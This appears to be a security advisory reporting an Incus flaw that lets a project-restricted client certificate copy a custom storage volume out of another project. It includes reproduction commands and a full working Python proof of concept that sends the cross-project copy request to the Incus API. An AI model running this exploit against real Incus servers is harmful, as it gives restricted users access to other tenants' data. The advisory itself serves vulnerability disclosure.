Incus has a project restriction bypass for custom volume copy across projects

 1# create a new project and instance
 2incus project create secrets
 3incus profile show default | incus --project secrets edit default
 4incus --project secrets storage volume create default secret-vol
 5 
 6# restrict an existing certificate to prevent access to the project
 7incus config trust edit cert-fp
 8#> set, for example
 9restricted: true
10projects:
11  - default
12 
13# verification, with the restricted certificate
14incus --project secrets storage volume ls remote:default

 1python3 poc.py --url https://IP-REMOTE:8443 \
 2    --cert path/to/client.crt --key path/to/client.key \
 3    --target-project default --source-project secrets \
 4    --source-volume secret-vol --name copy-secret-vol \
 5    --pool default --source-pool default \
 6    --insecure

 1#!/usr/bin/env python3
 2"""Copy a custom storage volume from another project into an allowed project."""
 3 
 4from __future__ import annotations
 5 
 6import argparse
 7import json
 8import ssl
 9import sys
10import urllib.error
11import urllib.parse
12import urllib.request
13 
14 
15def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
16    ctx = ssl.create_default_context()
17    if insecure:
18        ctx.check_hostname = False
19        ctx.verify_mode = ssl.CERT_NONE
20    ctx.load_cert_chain(cert, key)
21    req = urllib.request.Request(
22        url.rstrip("/") + path,
23        data=json.dumps(body).encode(),
24        method="POST",
25        headers={"Content-Type": "application/json", "Accept": "application/json"},
26    )
27    try:
28        with urllib.request.urlopen(req, context=ctx) as resp:
29            return resp.read()
30    except urllib.error.HTTPError as exc:
31        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
32        raise
33 
34 
35def main() -> int:
36    ap = argparse.ArgumentParser()
37    ap.add_argument("--url", required=True)
38    ap.add_argument("--cert", required=True)
39    ap.add_argument("--key", required=True)
40    ap.add_argument("--pool", required=True)
41    ap.add_argument("--target-project", required=True)
42    ap.add_argument("--source-project", required=True)
43    ap.add_argument("--source-volume", required=True)
44    ap.add_argument("--source-pool")
45    ap.add_argument("--name", required=True, help="new volume name in target project")
46    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
47    ap.add_argument("--volume-only", action="store_true")
48    ap.add_argument("--insecure", action="store_true")
49    ap.add_argument("--dry-run", action="store_true")
50    args = ap.parse_args()
51 
52    source = {
53        "type": "copy",
54        "name": args.source_volume,
55        "project": args.source_project,
56        "volume_only": args.volume_only,
57    }
58    if args.source_pool:
59        source["pool"] = args.source_pool
60 
61    body = {
62        "name": args.name,
63        "type": "custom",
64        "content_type": args.content_type,
65        "source": source,
66    }
67    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
68        urllib.parse.quote(args.pool, safe=""),
69        urllib.parse.urlencode({"project": args.target_project}),
70    )
71    print(json.dumps(body, indent=2))
72    if args.dry_run:
73        return 0
74    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
75    return 0
76 
77 
78if __name__ == "__main__":
79    raise SystemExit(main())